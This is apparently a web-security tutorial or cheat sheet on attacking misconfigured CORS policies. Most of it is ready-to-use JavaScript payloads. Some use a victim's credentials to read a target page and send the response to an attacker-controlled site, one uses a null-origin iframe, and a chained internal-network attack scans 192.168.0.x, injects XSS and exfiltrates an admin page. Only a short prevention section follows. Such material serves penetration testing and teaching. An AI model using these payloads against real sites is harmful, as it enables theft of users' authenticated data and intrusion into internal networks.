CORS attack
Cross-origin resource sharing
Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain. It can provide an attack vector to cross-domain based attacks, if a website’s CORS policy is poorly configured and implemented.
To check for the Access-Control-Allow-Origin value you can send a request including the following header:
Origin: WEBSITE
The presence of Access-Control-Allow-Credentials is a good indicator of potential CORS.
Some examples
Basic origin reflection
On your website you can place a script looking like this one :
<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','FULL_URL_TO_TARGET',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script>
This script will fetch the FULL_URL_TO_TARGET page using the Access-Control-Allow-Credentials header. Then when the page will be loaded, it will take the page data and send it back to you on your website.
Trusted null origin
Basicly this is the same as the previous one, just include the ifram with sandbox options:
sandbox="allow-scripts allow-top-navigation allow-forms"
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script> var req = new XMLHttpRequest (); req.onload = reqListener; req.open('get','FULL_URL_TO_TARGET',true); req.withCredentials = true; req.send(); function reqListener() { location='YOUR_WEBSITE/log?key='+encodeURIComponent(this.responseText); }; </script>"></iframe>
Internal network pivot attack
This one is the trickier, it will follow these steps:
Scan for endpoint in the internal network, it will fetch a XSS on the scanned page, your website log should include port and the corresponding IP.
<script> var q = [], collaboratorURL = 'YOURWEBSITE'; for(i=1;i<=255;i++){ q.push( function(url){ return function(wait){ fetchUrl(url,wait); } }('http://192.168.0.'+i+':8080')); } for(i=1;i<=20;i++){ if(q.length)q.shift()(i*100); } function fetchUrl(url, wait){ var controller = new AbortController(), signal = controller.signal; fetch(url, {signal}).then(r=>r.text().then(text=> { location = collaboratorURL + '?IP='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now() } )) .catch(e => { if(q.length) { q.shift()(wait); } }); setTimeout(x=>{ controller.abort(); if(q.length) { q.shift()(wait); } }, wait); } </script>
- Then you will be able to go for XSS fetching, using information previously retrieve
<script> function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="(\[^"\]+)"/)\[1\]; } function fetchUrl(url, collaboratorURL){ fetch(url).then(r=>r.text().then(text=> { xss(url, text, '"><img src='+collaboratorURL+'?isXSS=1>'); } )) } fetchUrl("http://IP_FOUND", "YOURWEBSITE"); </script>
- From the previous step, you will locate a potential XSS, if you find one it would be display in your website logs using
isXSS=1
. In this part we will go for the XSS exploit and retrieve the web page content.
<script> function xss(url, text, vector) { location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="(\[^"\]+)"/)\[1\]; } function fetchUrl(url, collaboratorURL){ fetch(url).then(r=>r.text().then(text=> { xss(url, text, '"><iframe src=/admin onload="new Image().src=\\''+collaboratorURL+'?code=\\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">'); } )) } fetchUrl("http://IP_FOUND", "YOURWEBSITE"); </script>
- Then you are free to do whatever you want, iframe injection, CSRF, …
How to prevent them
CORS are only present due to misconfigurations, you can use these headers to configure it correctly (and also use your brain again).
- Access-Control-Allow-Origin:
- Allow content from listed websites
- Avoid null value => can be exploit as we see above
- Avoid local things as you don’t protect your colleagues actions